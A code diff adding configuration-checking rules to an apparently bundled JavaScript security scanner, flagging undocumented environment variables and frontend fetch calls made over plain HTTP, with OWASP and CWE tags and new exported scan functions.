5537
+ line,
5538
+ snippet: getSnippet5(f.content, line),
5539
+ fix: "Use environment variable: origin: process.env.FRONTEND_URL || 'http://localhost:3000'",
5540
+ category: "Configuration",
5541
+ source: "custom",
5542
+ owasp: "A05:2021",
5543
+ cwe: "CWE-942"
5544
+ });
5545
+ }
5546
+ }
5547
+ }
5548
+ const envExample = files.find((f) => /\.env\.example$|\.env\.sample$|\.env\.template$/.test(f.path));
5549
+ if (envExample) {
5550
+ const envVarsUsed = /* @__PURE__ */ new Set();
5551
+ for (const f of files) {
5552
+ if (/\.(ts|js|tsx|jsx)$/i.test(f.path)) {
5553
+ const matches = f.content.matchAll(/process\.env\.([A-Z_][A-Z0-9_]*)/g);
5554
+ for (const m of matches) {
5555
+ envVarsUsed.add(m[1]);
5556
+ }
5557
+ }
5558
+ }
5559
+ const envVarsDocumented = /* @__PURE__ */ new Set();
5560
+ const exampleMatches = envExample.content.matchAll(/^([A-Z_][A-Z0-9_]*)=/gm);
5561
+ for (const m of exampleMatches) {
5562
+ envVarsDocumented.add(m[1]);
5563
+ }
5564
+ const undocumented = [...envVarsUsed].filter((v) => !envVarsDocumented.has(v) && !v.startsWith("NODE_") && v !== "npm_");
5565
+ if (undocumented.length > 0) {
5566
+ findings.push({
5567
+ id: `MFA005-${envExample.path}:1`,
5568
+ rule: "MFA005",
5569
+ severity: "low",
5570
+ title: "Env Vars Used But Not in .env.example",
5571
+ description: `These environment variables are used in code but missing from .env.example: ${undocumented.slice(0, 5).join(", ")}${undocumented.length > 5 ? ` (+${undocumented.length - 5} more)` : ""}`,
5572
+ file: envExample.path,
5573
+ line: 1,
5574
+ snippet: getSnippet5(envExample.content, 1),
5575
+ fix: "Add missing variables to .env.example so team members know which env vars are needed.",
5576
+ category: "Configuration",
5577
+ source: "custom",
5578
+ owasp: "A05:2021",
5579
+ cwe: "CWE-1188"
5580
+ });
5581
+ }
5582
+ }
5583
+ for (const f of files) {
5584
+ if (!/\.(tsx|jsx|ts|js)$/i.test(f.path)) continue;
5585
+ if (/(?:test|spec|mock|fixture)/i.test(f.path)) continue;
5586
+ const httpFetches = f.content.matchAll(/fetch\s*\(\s*["'`](http:\/\/(?!localhost|127\.0\.0\.1)[^"'`]+)["'`]/g);
5587
+ for (const m of httpFetches) {
5588
+ const line = f.content.substring(0, m.index).split("\n").length;
5589
+ findings.push({
5590
+ id: `MFA006-${f.path}:${line}`,
5591
+ rule: "MFA006",
5592
+ severity: "high",
5593
+ title: "Frontend Fetching Over HTTP (Not HTTPS)",
5594
+ description: `Fetching from ${m[1].substring(0, 40)}... over HTTP exposes data to interception.`,
5595
+ file: f.path,
5596
+ line,
5597
+ snippet: getSnippet5(f.content, line),
5598
+ fix: "Use HTTPS for all API calls in production.",
5599
+ category: "Configuration",
5600
+ source: "custom",
5601
+ owasp: "A02:2021",
5602
+ cwe: "CWE-319"
5603
+ });
5604
+ }
5605
+ }
5606
+ return findings;
5607
+ }
5608
+
4599
5609
  // src/url-recon.ts
4600
5610
  var BLOCKED_HOSTNAMES = /* @__PURE__ */ new Set([
4601
5611
  "localhost",
@@ -8283,6 +9293,7 @@ export {
8283
9293
  CHECKABLE_CLAIMS,
8284
9294
  DOTENV_ASSIGN_RE,
8285
9295
  FREE_RULE_COUNT,
9296
+ GRADE_FINDINGS_PER_RULE,
8286
9297
  INTENT_EXPECTATIONS,
8287
9298
  MODEL_ANALYSIS,
8288
9299
  MODEL_POLICY_REVIEWED,
@@ -8337,6 +9348,7 @@ export {
8337
9348
  freeRules,
8338
9349
  getObjectProperty,
8339
9350
  getSnippet,
9351
+ gradeRuleFamily,
8340
9352
  hardcodedJWTSecret,
8341
9353
  hardcodedSecrets,
8342
9354
  harvestIntent,
@@ -8375,7 +9387,10 @@ export {
8375
9387
  replaceBlockComments,
8376
9388
  routeForFile,
8377
9389
  runCustomRules,
9390
+ scanConfigs,
9391
+ scanDependencies,
8378
9392
  scanEntropy,
9393
+ scanMultiFile,
8379
9394
  scanQuality,
8380
9395
  sqlInjection,
8381
9396
  stripeWebhookUnprotected,